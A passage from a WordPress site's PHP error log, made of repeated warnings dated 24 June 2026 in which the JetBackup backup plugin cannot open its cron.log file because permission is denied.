line 26 [24-Jun-2026 19:53:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:54:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:55:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:56:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:57:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:58:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 19:59:17 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:00:17 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:00:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:00:59 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:01:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:01:24 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:01:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:01:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:01:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:02:01 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:02:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:02:24 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:02:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:02:32 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:02:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:02:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:02:59 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:03:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:03:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:03:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:03:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:03:43 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:03:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:04:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:04:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:04:26 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:04:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:04:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:04:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:05:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:05:32 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:05:33 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:05:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:05:43 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:05:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:06:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:06:21 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:06:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:06:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:07:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:08:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:09:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:10:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:11:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:12:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:13:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:14:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:15:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:16:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:17:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:18:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:19:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:20:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:21:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:22:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:23:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:24:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:25:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:26:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:27:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:28:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:28:49 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:28:53 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:29:01 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:29:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:29:24 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:29:33 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:29:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:29:53 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:30:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:30:21 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:30:43 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:30:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:30:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:31:03 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:31:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:31:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:31:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:31:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:31:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:32:00 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:32:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:32:24 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:32:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:32:33 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:32:41 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:32:52 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:33:04 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:33:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:33:24 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:33:32 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 20:33:41 UTC] PHP Warning: 